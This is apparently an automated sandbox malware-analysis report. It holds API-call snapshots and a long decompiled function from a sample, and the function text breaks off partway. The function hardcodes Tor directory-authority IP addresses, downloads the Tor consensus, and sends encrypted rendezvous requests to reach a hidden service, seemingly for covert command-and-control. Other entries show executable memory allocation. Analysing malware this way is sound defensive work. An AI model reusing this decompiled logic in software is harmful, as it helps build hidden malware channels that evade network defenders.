Snapshot File: hcaresult_0_2_b11000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 377ae04f542a6544909720522edbd3540c55ecb034ede902076eedcde2f3dc74
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: E7F062311007146BD7203BB5AC8DAAE76E8EF49724F5005A8E652D14C0DA70EC954A65

Uniqueness

Uniqueness Score: -1.00%

Function 00860DF8 Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00860223,?,?), ref: 00860E02
SetErrorMode.KERNELBASE(00000000,?,?,00860223,?,?), ref: 00860E07

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: d645ef7b6af48f12e870c34ed1b5640e3bd74d96dc479c3fbf86ac33cd21b16b
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 3AD0123114512C77D7402A94DC09BCE7B1CDF05B67F008051FB0DD9181C771994046E9

Uniqueness

Uniqueness Score: -1.00%

Function 0040D980 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(0083F730,00847C14,00000040), ref: 0040D995

Memory Dump Source

Source File: 00000000.00000002.308116813.000000000040A000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a000_i1lq1Qpbyw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d4c84bd9978b7fb4b76ac18cd9993b0199ccbdc30b391d2bbd7efd86884b4ca2
Instruction ID: ea5698d955b10bbefbe7e398434c6d4fcd029ac7c9358c260c771c71912e556b
Opcode Fuzzy Hash: d4c84bd9978b7fb4b76ac18cd9993b0199ccbdc30b391d2bbd7efd86884b4ca2
Instruction Fuzzy Hash: 3DC08CF4114100AFD608CB10ED84E2233ACF388300F10492DF282931A0CB30A801CAB8

Uniqueness

Uniqueness Score: -1.00%

Function 00860920 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00860929

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: cd6e8b06e9fc6daff329b0075f01cd6e00680555ed9156381d0d7b778eb813a9
Instruction ID: 3e9c807a23c100a99a722049cf7bfbcce58d99a4c5dbb09bf75c012b4819f226
Opcode Fuzzy Hash: cd6e8b06e9fc6daff329b0075f01cd6e00680555ed9156381d0d7b778eb813a9
Instruction Fuzzy Hash: D490047034435111DC703DFC0C01F0500013741730F7107107130FD5D5DC4055004157

Uniqueness

Uniqueness Score: -1.00%

Function 00B1236D Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00B123BE

Memory Dump Source

Source File: 00000000.00000002.308267503.0000000000B11000.00000040.00000020.00020000.00000000.sdmp, Offset: 00B11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b11000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 13d891cb4ad03498a9da140ae60868faa3d564dbea93a8e2db4f7af4f4f7ee90
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: A6113C79A00208EFDB01DF98C985E98BBF5EF08350F158094F9489B362D775EA90EF81

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004011B8 Relevance: 106.4, APIs: 16, Strings: 44, Instructions: 1413
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004011B8(signed int __edx, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				long* _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				int _v28;
				int _v32;
				int _v36;
				int _v40;
				signed int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v184;
				char _v312;
				char _v440;
				int _v444;
				intOrPtr _v448;
				intOrPtr _v452;
				short _v454;
				char _v455;
				char _v456;
				char _v460;
				char _v464;
				char _v468;
				char _v472;
				char _v476;
				char _v480;
				char _v484;
				char _v488;
				char _v492;
				char _v496;
				char _v500;
				char _v504;
				char _v508;
				char _v512;
				char _v516;
				char _v520;
				char _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				char _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				char _v572;
				signed int _v576;
				char _v881;
				char _v901;
				char _v1000;
				char _v1041;
				signed int _v1042;
				signed int _v1043;
				char _v1063;
				char _v1064;
				char _v1065;
				intOrPtr _v1069;
				char _v1070;
				char _v1086;
				char _v1284;
				intOrPtr _v1288;
				int _v1292;
				int _v1296;
				char _v1300;
				int _v1304;
				int _v1308;
				char _v1312;
				char _v1313;
				intOrPtr _v1444;
				char _v1445;
				char _v1460;
				char _v1545;
				char _v1565;
				char _v1566;
				signed int _v1570;
				char _v1590;
				char _v1600;
				intOrPtr _v1616;
				char _v1620;
				intOrPtr _v1624;
				CHAR* _v1628;
				intOrPtr _v1632;
				CHAR* _v1636;
				intOrPtr _v1640;
				CHAR* _v1644;
				intOrPtr _v1648;
				CHAR* _v1652;
				intOrPtr _v1656;
				CHAR* _v1660;
				intOrPtr _v1664;
				CHAR* _v1668;
				intOrPtr _v1672;
				CHAR* _v1676;
				intOrPtr _v1680;
				CHAR* _v1684;
				intOrPtr _v1688;
				CHAR* _v1692;
				char _v1696;
				int _v1700;
				int _v1704;
				signed int _v1708;
				char _v1740;
				char* _v1748;
				char* _v1752;
				intOrPtr _v1760;
				intOrPtr _v1764;
				char _v1768;
				intOrPtr _v1772;
				intOrPtr _v1776;
				intOrPtr _v1780;
				intOrPtr _v1784;
				char _v1788;
				intOrPtr _v1792;
				intOrPtr _v1800;
				char _v1808;
				signed int _v1816;
				char _v1828;
				int _v1880;
				int _v1884;
				char _v1888;
				void* _v1892;
				int _v1896;
				char _v1904;
				char _v1916;
				char* _v1920;
				char _v1924;
				BYTE* _v1928;
				int _v1932;
				signed int _t686;
				signed int _t695;
				signed int _t700;
				signed int _t702;
				signed int _t706;
				int _t708;
				signed int _t714;
				signed int _t721;
				intOrPtr _t726;
				signed int _t732;
				char _t733;
				signed int _t740;
				signed int _t767;
				signed int _t772;
				signed int _t792;
				signed int _t794;
				int _t800;
				signed int _t801;
				signed int _t809;
				signed int _t812;
				signed int _t816;
				signed int _t817;
				signed int _t822;
				intOrPtr _t830;
				void* _t832;
				signed int _t836;
				signed int _t844;
				signed int _t863;
				signed int _t865;
				intOrPtr _t880;
				char _t881;
				signed int _t889;
				signed int _t901;
				signed int _t959;
				signed int _t961;
				signed int _t963;
				signed int _t973;
				signed int _t975;
				signed int _t976;
				signed int _t977;
				signed int _t978;
				void* _t980;
				signed int _t981;
				signed int _t983;
				signed int _t984;
				void* _t986;
				signed int _t987;
				int _t995;
				signed int _t1000;
				signed int _t1004;
				intOrPtr _t1008;
				void* _t1011;
				char* _t1017;
				char* _t1023;
				void* _t1025;
				char* _t1027;
				char* _t1028;
				char* _t1029;
				char* _t1030;
				char* _t1031;
				char _t1032;
				char* _t1033;
				BYTE* _t1034;
				char* _t1035;
				char* _t1036;
				char* _t1040;
				char* _t1041;
				char* _t1042;
				void* _t1043;
				intOrPtr* _t1044;
				char _t1047;
				void* _t1048;
				void* _t1049;

				_t1014 = __edx;
				E00406259( &_v1932,  &_v16 - _t1049);
				CryptAcquireContextA( &_v8, 0, "Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider", 0xd, 0xf0000000);
				_push(0);
				_push(0);
				_push(L"SHA1");
				_push( &_v12);
				 *((intOrPtr*)(E00406788( &_v16 - _t1049, E00406698("bcrypt.dll"), "BCryptOpenAlgorithmProvider")))();
				_push(0);
				_push(0);
				_push(L"RSA");
				_push( &_v16);
				 *((intOrPtr*)(E00406788( &_v16 - _t1049, E00406698("bcrypt.dll"), "BCryptOpenAlgorithmProvider")))();
				_push(0);
				_push(0);
				_push(L"AES");
				_push( &_v20);
				 *((intOrPtr*)(E00406788( &_v16 - _t1049, E00406698("bcrypt.dll"), "BCryptOpenAlgorithmProvider")))();
				_push(0);
				_push(0x20);
				_push(L"ChainingModeECB");
				_push(L"ChainingMode");
				_push(_v20);
				_t657 =  *((intOrPtr*)(E00406788( &_v16 - _t1049, E00406698("bcrypt.dll"), "BCryptSetProperty")))();
				_v1896 = 0;
				_v1932 = 0;
				_v1692 = "193.23.244.244";
				_v1688 = 0x50;
				_v1684 = "86.59.21.38";
				_v1680 = 0x50;
				_v1676 = "199.58.81.140";
				_v1672 = 0x50;
				_v1668 = "204.13.164.118";
				_v1664 = 0x50;
				_v1660 = "194.109.206.212";
				_v1656 = 0x50;
				_v1652 = "131.188.40.189";
				_v1648 = 0x50;
				_v1644 = "154.35.175.225";
				_v1640 = 0x50;
				_v1636 = "171.25.193.9";
				_v1632 = 0x1bb;
				_v1628 = "128.31.0.34";
				_v1624 = 0x23ab;
				_v1620 = "128.31.0.39";
				_v1616 = 0x23ab;
				_v1696 = 5;
				while(1) {
					_t31 =  &_v1696;
					 *_t31 = _v1696 - 1;
					_t1051 =  *_t31;
					if( *_t31 < 0) {
						break;
					}
					E004065B9(_t657, 0xa);
					_t657 = E00402A45(_t1014, _t1051,  *[ss:ecx+ebp-0x698],  *[ss:ecx+ebp-0x694], "/tor/status-vote/current/consensus",  &_v576);
					_t1052 = _t657;
					if(_t657 == 0) {
						continue;
					}
					_v40 = _t657;
					_t686 = E00406561(_t1052, _v576, _v40, "directory-footer");
					_t657 = _t686;
					if(_t686 == 0) {
						continue;
					} else {
						_t1014 = _v576;
						_t657 = E00406259(_t657 - _v576 + _v576, _v40 - _t657 - _v576);
						_v1700 = 0;
						_v1704 = 0;
						_t1023 = _v576;
						do {
							if(_v40 > 3 &&  *_t1023 == 0xa &&  *((char*)(_t1023 + 1)) == 0x72 &&  *((char*)(_t1023 + 2)) == 0x20) {
								_v1700 = _v1700 + 1;
								_t984 = E00403D29(_t1023);
								_t657 = _t984 & 0x00000008;
								if((_t984 & 0x00000008) != 0) {
									_v1704 = _v1704 + 1;
								}
							}
							_t1023 = _t1023 + 1;
							_t51 =  &_v40;
							 *_t51 = _v40 - 1;
						} while ( *_t51 != 0);
						if(_v1700 > 0x3e8) {
							_v1708 = 0;
							while(1) {
								__eflags = _v1708 - 4;
								if(_v1708 > 4) {
									goto L133;
								}
								_t1024 = E00403CE1(_v576, E004065B9(_t657, _v1700), 0);
								_t657 = E00403D29(_t690);
								__eflags = _v1708;
								if(_v1708 != 0) {
									L17:
									__eflags = _v1708 - 1;
									if(_v1708 != 1) {
										L19:
										__eflags = _v1708 - 2;
										if(_v1708 != 2) {
											L21:
											__eflags = _v1708 - 4;
											if(__eflags != 0) {
												L23:
												_t695 = E00403C2A(__eflags, _t1024, _t1048 + _v1708 * 4 - 0x6dc, _t1048 + _v1708 * 4 - 0x6f0, _t1048 + _v1708 * 4 - 0x704, _t1048 + _v1708 * 4 - 0x718);
												_t657 = _t695;
												__eflags = _t695;
												if(_t695 != 0) {
													continue;
												}
												__eflags = _v1708 - 1;
												if(_v1708 != 1) {
													L26:
													__eflags = _v1708 - 4;
													if(__eflags != 0) {
														__eflags = _v1708 - 3;
														if(_v1708 != 3) {
															__eflags = _v1708 - 2;
															if(__eflags != 0) {
																__eflags = _v1708;
																if(__eflags != 0) {
																	L130:
																	_v1708 = _v1708 + 1;
																	continue;
																}
																__eflags = E00402D52(_t1014, __eflags, _v1780, _v1800, _a12, _a16,  &_v1896);
																if(__eflags == 0) {
																	L131:
																	_t657 = E00405FFB(_a12, _a16, _v1896);
																	_v1708 = 0;
																	continue;
																}
																E00404224(__eflags, _v1896, 0x40826c, 7, 0, _a12);
																_v1892 = 0;
																_t700 = E00404656(0x186a0,  &_v1920);
																__eflags = _t700;
																if(_t700 == 0) {
																	goto L131;
																}
																_t702 = E00404656(0x186a0,  &_v1924);
																__eflags = _t702;
																if(_t702 == 0) {
																	goto L131;
																}
																_t1025 = _v1920;
																_v40 = 0;
																_v48 = 0;
																while(1) {
																	E0040621F(_v1896, 0,  &_v1916, 0xa, 0);
																	_push( &_v1904);
																	_push(0);
																	_push(0);
																	_t706 =  &_v1916;
																	_push(_t706);
																	_push(0);
																	L00406A24();
																	__eflags = _t706;
																	if(__eflags <= 0) {
																		goto L131;
																	}
																	_t708 = E00404359(__eflags, _v1896,  &_v1892, _a12);
																	__eflags = _t708;
																	if(_t708 <= 0) {
																		goto L131;
																	}
																	_v40 = _v40 + _t708;
																	_t1043 = _v1892;
																	_t995 = _t708;
																	memcpy(_t1025, _t1043, _t995);
																	_t1049 = _t1049 + 0xc;
																	_t1025 = _t1043 + _t995 + _t995;
																	E00404681( &_v1892);
																	__eflags = _v40 - 0x202;
																	if(_v40 < 0x202) {
																		continue;
																	}
																	_t1014 = _v1920;
																	_t714 =  *(_t1014 + 0x10) & 0x0000ffff;
																	__eflags = _t714 + 0x19 - _v40;
																	if(_t714 + 0x19 > _v40) {
																		continue;
																	}
																	_t1000 =  *(_t714 + _t1014 + 0x17) & 0x0000ffff;
																	__eflags = _v40 - _t1000 + _t714 + 0x21b;
																	if(_v40 != _t1000 + _t714 + 0x21b) {
																		continue;
																	}
																	E00406270(0x40807e, 0xa,  &_v1600);
																	asm("bswap eax");
																	_t721 =  *((intOrPtr*)(_t1025 - 0x1fd)) + (_v1600 & 0x000000ff) * 0x15180 / 0x100;
																	_t1014 = _t721 % 0x15180;
																	asm("bswap eax");
																	_v1570 = _t721 / 0x15180;
																	E00406259(_v1924, 0x186a0);
																	_t1047 = _v1924;
																	 *((char*)(_t1047 + 4)) = 8;
																	_t726 = E004061D2(_t1025 - 0x1fd, _t1047 + 5, 4);
																	 *((short*)(_t1047 + 9)) = 0x404;
																	_push(_v1780);
																	L00406A0C();
																	 *((intOrPtr*)(_t1047 + 0xb)) = _t726;
																	 *((intOrPtr*)(_t1047 + 0xf)) = 0x40401;
																	_t657 = E00404224(__eflags, _v1896, _t1047, 0x202, 0, _a12);
																	goto L130;
																}
																goto L131;
															}
															_t732 = E004031BE(__eflags, _v12, _v8, _v16, _v20, _a12, _v1896, _v1776, _v1816, _v1772, _v1792, _v1760, _v1752, 1,  &_v516,  &_v512,  &_v508,  &_v504,  &_v572);
															__eflags = _t732;
															if(_t732 <= 0) {
																goto L131;
															}
															_t733 = E00406259(_v1924, 0x186a0);
															_t1027 = _v1924;
															 *_t1027 = 0x80;
															 *((char*)(_t1027 + 3)) = 1;
															 *((char*)(_t1027 + 4)) = 3;
															 *((char*)(_t1027 + 5)) = 0x21;
															 *((char*)(_t1027 + 0xf)) = 0x14;
															_t1004 = 0;
															while(1) {
																__eflags = _t1004 - 0x14;
																if(_t1004 >= 0x14) {
																	break;
																}
																 *[ss:ecx+ebp-0x650] = _t733;
																_t1004 = _t1004 + 1;
																__eflags = _t1004;
															}
															E004061D2( &_v1620, _t1027 + 0x10, 0x14);
															E00403616(_v12, _v516, _v508, 0, _t1027 + 5, 0, _v564);
															E00404224(__eflags, _v1896, _v1924, 0x202, 0, _a12);
															_t740 = E00404554(_v1896, _v1920, 0x202, _a12, 0x14);
															_t1028 = _v1920;
															__eflags = _t740;
															if(_t740 != 0) {
																goto L131;
															}
															__eflags =  *((char*)(_t1028 + 4)) - 3;
															if(__eflags != 0) {
																goto L131;
															}
															_t657 = E00403697(__eflags, _v12, _v512, _v504, 0, _t1028 + 5, 1, _v560);
															__eflags = _t657;
															if(_t657 == 0) {
																goto L131;
															}
															__eflags =  *((intOrPtr*)(_t1028 + 5)) - 0x27;
															if( *((intOrPtr*)(_t1028 + 5)) != 0x27) {
																goto L131;
															}
															goto L130;
														}
														_v56 = 0;
														_v24 = 2;
														_v28 = 1;
														while(1) {
															__eflags = _v56 - 2;
															if(_v56 >= 2) {
																break;
															}
															_v1566 = _v56;
															E004030CA(_v12,  &_v1570, 5,  &_v1590, 0, 0xffffffff);
															E004030CA(_v12,  &_v1600, 0x1e,  &_v1565, 0, 0xffffffff);
															E00406368( &_v1565, 0x14,  &_v1545);
															E004061D2( &_v1704,  &_v40, 4);
															E004061D2( &_v1704,  &_v48, 4);
															_t986 = 0;
															while(1) {
																__eflags = _v48;
																if(_v48 <= 0) {
																	break;
																}
																E004061D2( &_v48,  &_v40, 4);
																_v40 = _v40 >> 1;
																_t767 = E00403C2A(__eflags, E00403CE1(_v576, _t986 + _v40, 8),  &_v1748,  &_v1768,  &_v1788,  &_v1808);
																_v36 = 0;
																__eflags = _t767;
																if(_t767 != 0) {
																	L76:
																	__eflags = _v36 - 1;
																	if(_v36 != 1) {
																		E004061D2( &_v40,  &_v48, 4);
																	} else {
																		_t986 = _t986 + _v40 + 1;
																		_v48 = _v48 - _v40 + 1;
																	}
																	continue;
																}
																CryptStringToBinaryA(_v1748, 0, 1, 0,  &_v32, 0, 0);
																CryptStringToBinaryA(_v1748, 0, 1,  &_v1445,  &_v32, 0, 0);
																_t1011 = 0;
																while(1) {
																	__eflags = _t1011 - 0x14;
																	if(_t1011 >= 0x14) {
																		goto L76;
																	}
																	_t830 =  *[ss:ecx+ebp-0x5a1];
																	__eflags = _t830 -  *[ss:ecx+ebp-0x619];
																	if(_t830 >  *[ss:ecx+ebp-0x619]) {
																		goto L76;
																	}
																	__eflags = _t830 -  *[ss:ecx+ebp-0x619];
																	if(_t830 !=  *[ss:ecx+ebp-0x619]) {
																		_v36 = 1;
																	}
																	_t1011 = _t1011 + 1;
																}
																goto L76;
															}
															_v32 = 0;
															while(1) {
																__eflags = _v32 - 3;
																if(_v32 >= 3) {
																	break;
																}
																_t772 = E00403CE1(_v576, _t986, 8);
																_t986 = _t986 + 1;
																_t1014 = _t772;
																__eflags = E00403C2A(__eflags, _t772,  &_v1748,  &_v1768,  &_v1788,  &_v1808);
																if(__eflags != 0) {
																	continue;
																}
																__eflags = E004031BE(__eflags, _v12, _v8, _v16, _v20, _a12, _v1896, _v1776, _v1816, _v1768, _v1788, _v1760, _v1748, _v24,  &_v500,  &_v496,  &_v492,  &_v488,  &_v556);
																if(__eflags <= 0) {
																	L102:
																	E00403515(_v1896, _v1920, _a12, _v24);
																	_v24 = _v24 + 1;
																	_v28 = _v28 + 1;
																	_v32 = _v32 + 1;
																	_t657 = E00406561(__eflags, _v1924, 0x186a0, "-----END MESSAGE-----");
																	__eflags = _t657;
																	if(_t657 != 0) {
																		_v52 = _t657;
																		goto L130;
																	}
																	continue;
																}
																E00406259(_v1924, 0x186a0);
																_t1029 = _v1924;
																 *_t1029 = 0x80;
																 *((char*)(_t1029 + 3)) = _v24;
																 *((char*)(_t1029 + 4)) = 3;
																 *((char*)(_t1029 + 5)) = 0xd;
																 *((char*)(_t1029 + 9)) = _v28;
																E00403616(_v12, _v500, _v492, 0, _t1029 + 5, 0, _v548);
																E00404224(__eflags, _v1896, _v1924, 0x202, 0, _a12);
																_t792 = E00404554(_v1896, _v1920, 0x202, _a12, 0x14);
																_t1030 = _v1920;
																__eflags = _t792;
																if(_t792 != 0) {
																	goto L131;
																}
																__eflags =  *((char*)(_t1030 + 4)) - 3;
																if(__eflags != 0) {
																	goto L102;
																}
																_t794 = E00403697(__eflags, _v12, _v496, _v488, 0, _t1030 + 5, 1, _v544);
																__eflags = _t794;
																if(_t794 == 0) {
																	goto L131;
																}
																__eflags =  *((intOrPtr*)(_t1030 + 5)) - 4;
																if(__eflags != 0) {
																	goto L102;
																}
																E00406259(_v1924, 0x186a0);
																_t1031 = _v1924;
																 *_t1031 = 0x80;
																 *((char*)(_t1031 + 3)) = _v24;
																 *((char*)(_t1031 + 4)) = 3;
																 *((char*)(_t1031 + 5)) = 2;
																 *((char*)(_t1031 + 9)) = _v28;
																_t800 = wsprintfA(_t1031 + 0x10, "GET /tor/rendezvous2/%s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n",  &_v1545, _v1768);
																_t1049 = _t1049 + 0x10;
																_t801 = _t800 + 1;
																__eflags = _t801;
																 *(_t1031 + 0xf) = _t801;
																E00403616(_v12, _v500, _v492, 0, _t1031 + 5, 1, _v548);
																E00404224(__eflags, _v1896, _v1924, 0x202, 0, _a12);
																_v40 = 0;
																_v48 = 2;
																_v52 = 0;
																_t1044 = _v1920;
																_t1032 = _v1924;
																E00406259(_v1924, 0x186a0);
																while(1) {
																	E0040621F(_v1896, 0,  &_v1916, 0xa, 0);
																	_push( &_v1904);
																	_push(0);
																	_push(0);
																	_t809 =  &_v1916;
																	_push(_t809);
																	_push(0);
																	L00406A24();
																	__eflags = _t809;
																	if(_t809 < 0) {
																		goto L131;
																	}
																	__eflags = _t809;
																	if(__eflags == 0) {
																		goto L102;
																	}
																	_t812 = E00404359(__eflags, _v1896,  &_v1892, _a12);
																	__eflags = _t812;
																	if(_t812 <= 0) {
																		goto L131;
																	}
																	_t1017 =  &(_v1920[_v40]);
																	_v40 = _v40 + _t812;
																	__eflags = _v40 - 0x186a0;
																	if(_v40 > 0x186a0) {
																		goto L133;
																	}
																	E004061D2(_v1892, _t1017, _t812);
																	E00404681( &_v1892);
																	_t816 = _v40;
																	_t817 = _t816 / 0x202;
																	_t1014 = _t816 % 0x202;
																	__eflags = _t816 % 0x202;
																	if(_t816 % 0x202 != 0) {
																		continue;
																	}
																	_v44 = _t817;
																	while(1) {
																		__eflags = _v44;
																		if(_v44 <= 0) {
																			break;
																		}
																		__eflags =  *_t1044 - 0x80;
																		if(__eflags != 0) {
																			L99:
																			_t1044 = _t1044 + 0x202;
																			_t478 =  &_v44;
																			 *_t478 = _v44 - 1;
																			__eflags =  *_t478;
																			continue;
																		}
																		_t822 = E00403697(__eflags, _v12, _v496, _v488, 0, _t1044 + 5, _v48, _v544);
																		__eflags = _t822;
																		if(_t822 == 0) {
																			goto L131;
																		}
																		__eflags =  *((short*)(_t1044 + 4)) - 0x503;
																		if( *((short*)(_t1044 + 4)) == 0x503) {
																			goto L99;
																		}
																		__eflags =  *((short*)(_t1044 + 4)) - 0x203;
																		if(__eflags != 0) {
																			goto L102;
																		}
																		_t1008 =  *((intOrPtr*)(_t1044 + 0xe));
																		E004061D2(_t1044 + 0x10, _t1032, _t1008);
																		_t1032 = _t1032 + _t1008;
																		_t476 =  &_v48;
																		 *_t476 = _v48 + 1;
																		__eflags =  *_t476;
																		goto L99;
																	}
																}
																goto L131;
															}
															_t493 =  &_v56;
															 *_t493 = _v56 + 1;
															__eflags =  *_t493;
														}
														goto L133;
													}
													_t832 = E00406561(__eflags, _v1924, 0x186a0, "-----BEGIN MESSAGE-----") + 0x17;
													_v52 = _v52 - _t832;
													_t1033 = _v1920;
													while(1) {
														__eflags = _v52;
														if(_v52 <= 0) {
															break;
														}
														asm("lodsb");
														__eflags = _t832 - 0x20;
														if(_t832 > 0x20) {
															asm("stosb");
														}
														_t81 =  &_v52;
														 *_t81 = _v52 - 1;
														__eflags =  *_t81;
													}
													 *_t1033 = 0;
													CryptStringToBinaryA(_v1920, 0, 1, 0,  &_v32, 0, 0);
													_t836 = E00404656(_v32,  &_v1928);
													__eflags = _t836;
													if(_t836 == 0) {
														goto L133;
													}
													CryptStringToBinaryA(_v1920, 0, 1, _v1928,  &_v32, 0, 0);
													_t1034 = _v1928;
													_t987 = 0;
													while(1) {
														__eflags = _t987 - 3;
														if(_t987 >= 3) {
															break;
														}
														__eflags = _v32;
														if(__eflags > 0) {
															_t975 = E00406527(__eflags, _t1034, _v32, "introduction-point");
															__eflags = _t975;
															if(__eflags == 0) {
																break;
															}
															 *(_t1048 + _t987 * 4 - 0x72c) = _t975;
															_t976 = E00406527(__eflags, _t1034, _v32, "ip-address");
															__eflags = _t976;
															if(__eflags == 0) {
																goto L133;
															}
															 *(_t1048 + _t987 * 4 - 0x738) = _t976;
															_t977 = E00406527(__eflags, _t1034, _v32, "onion-port");
															__eflags = _t977;
															if(__eflags == 0) {
																goto L133;
															}
															 *(_t1048 + _t987 * 4 - 0x744) = _t977;
															_t978 = E00406561(__eflags, _t1034, _v32, "service-key");
															__eflags = _t978;
															if(__eflags == 0) {
																goto L133;
															}
															_t980 = _t978 + 1 - _t1034;
															_t1034 =  &(_t1034[_t980]);
															_v32 = _v32 - _t980;
															_t981 = E00406561(__eflags, _t1034, _v32, "KEY-----");
															__eflags = _t981;
															if(__eflags == 0) {
																goto L133;
															}
															 *((intOrPtr*)(_t1048 + _t987 * 4 - 0x750)) = _t981 + 8;
															_t983 = E00406561(__eflags, _t1034, _v32, "-----END");
															__eflags = _t983;
															if(_t983 == 0) {
																goto L133;
															}
															 *_t983 = 0;
															_t987 = _t987 + 1;
															__eflags = _t987;
															continue;
														}
														break;
													}
													while(1) {
														__eflags = _t987;
														if(__eflags <= 0) {
															break;
														}
														_t987 = _t987 - 1;
														_t844 = E004031BE(__eflags, _v12, _v8, _v16, _v20, _a12, _v1896, _v1776, _v1816,  *(_t1048 + _t987 * 4 - 0x738),  *(_t1048 + _t987 * 4 - 0x744), _v1760,  *(_t1048 + _t987 * 4 - 0x72c), _v24,  &_v484,  &_v480,  &_v476,  &_v472,  &_v540);
														__eflags = _t844;
														if(_t844 <= 0) {
															L57:
															E00403515(_v1896, _v1920, _a12, _v24);
															_t271 =  &_v24;
															 *_t271 = _v24 + 1;
															__eflags =  *_t271;
															continue;
														}
														_t880 = E004065B9(E00406259( &_v1600, 0x400), 0x100);
														asm("stosb");
														asm("loop 0xfffffff5");
														_v1070 = 2;
														_push(_v1764);
														L00406A0C();
														_v1069 = _t880;
														_t881 = E004061EA(_v1784);
														_v1065 = _t881;
														_v1064 = _t881;
														CryptStringToBinaryA(_v1752, 0, 1, 0,  &_v40, 0, 0);
														CryptStringToBinaryA(_v1752, 0, 1,  &_v1063,  &_v40, 0, 0);
														_t889 = E00403DE9(_t1014, __eflags, _v1776, _v1816,  &_v1063,  &_v1041);
														__eflags = _t889;
														if(_t889 == 0) {
															goto L131;
														}
														_v1043 = _t889;
														_v1042 = _t889;
														E004061D2( &_v1620,  &_v901, 0x14);
														_v456 = 7;
														_v455 = 2;
														_v454 = 0;
														_v452 = 0xaa02;
														_v448 = 0x32484400;
														_v444 = 0x400;
														E004065B9(E004061D2(0x40841c,  &_v440, 0x80), 0x100);
														asm("stosb");
														asm("loop 0xfffffff5");
														E00406259( &_v312, 0x80);
														_v312 = 2;
														E00403BB4(_v8,  &_v456,  &_v881);
														_t1040 =  &_v1460;
														_t901 = 1;
														while(1) {
															_t901 = _t901;
															__eflags = _t901;
															if(_t901 == 0) {
																break;
															}
															asm("lodsb");
															__eflags = _t901 - 0x20;
															if(_t901 > 0x20) {
																asm("stosb");
															}
														}
														 *_t1040 = 0;
														CryptStringToBinaryA( &_v1460, 0, 1, 0,  &_v36, 0, 0);
														CryptStringToBinaryA( &_v1460, 0, 1,  &_v1600,  &_v36, 0, 0);
														_v40 = 0x94;
														E00406259( &_v1460, 0x94);
														_push( &_v40);
														_push( &_v1460);
														_push(0);
														_push(0x8c);
														_push( &_v1600);
														_push(0x13);
														_push(1);
														L00406AB4();
														_v1312 = 0x31415352;
														_v1308 = 0x400;
														_v1304 = 4;
														_v1300 = 0x80;
														_v1296 = 0;
														_v1292 = 0;
														asm("bswap eax");
														_v1288 = _v1444;
														E0040618C( &_v1313,  &_v1284, 0x80);
														_push(0);
														_push(0x9c);
														_push( &_v1312);
														_push( &_v460);
														_push(L"RSAPUBLICBLOB");
														_push(0);
														_push(_v16);
														 *((intOrPtr*)(E00406788(__eflags, E00406698("bcrypt.dll"), "BCryptImportKeyPair")))();
														E00406259(_v1924, 0x186a0);
														_t1041 = _v1924;
														 *_t1041 = 0x80;
														 *((char*)(_t1041 + 3)) = _v24;
														 *((char*)(_t1041 + 4)) = 3;
														 *((char*)(_t1041 + 5)) = 0x22;
														 *((char*)(_t1041 + 0xe)) = 0x18b;
														 *((char*)(_t1041 + 0xf)) = 0x18b;
														E004030CA(_v12,  &_v1600, 0x8c, _t1041 + 0x10, 0, 0xffffffff);
														_v1888 = L"SHA1";
														_v1884 = 0;
														_v1880 = 0;
														_push(4);
														_push( &_v48);
														_push(0x80);
														_push(_t1041 + 0x24);
														_push(0);
														_push(0);
														_push( &_v1888);
														_push(0x56);
														_push( &_v1086);
														_push(_v460);
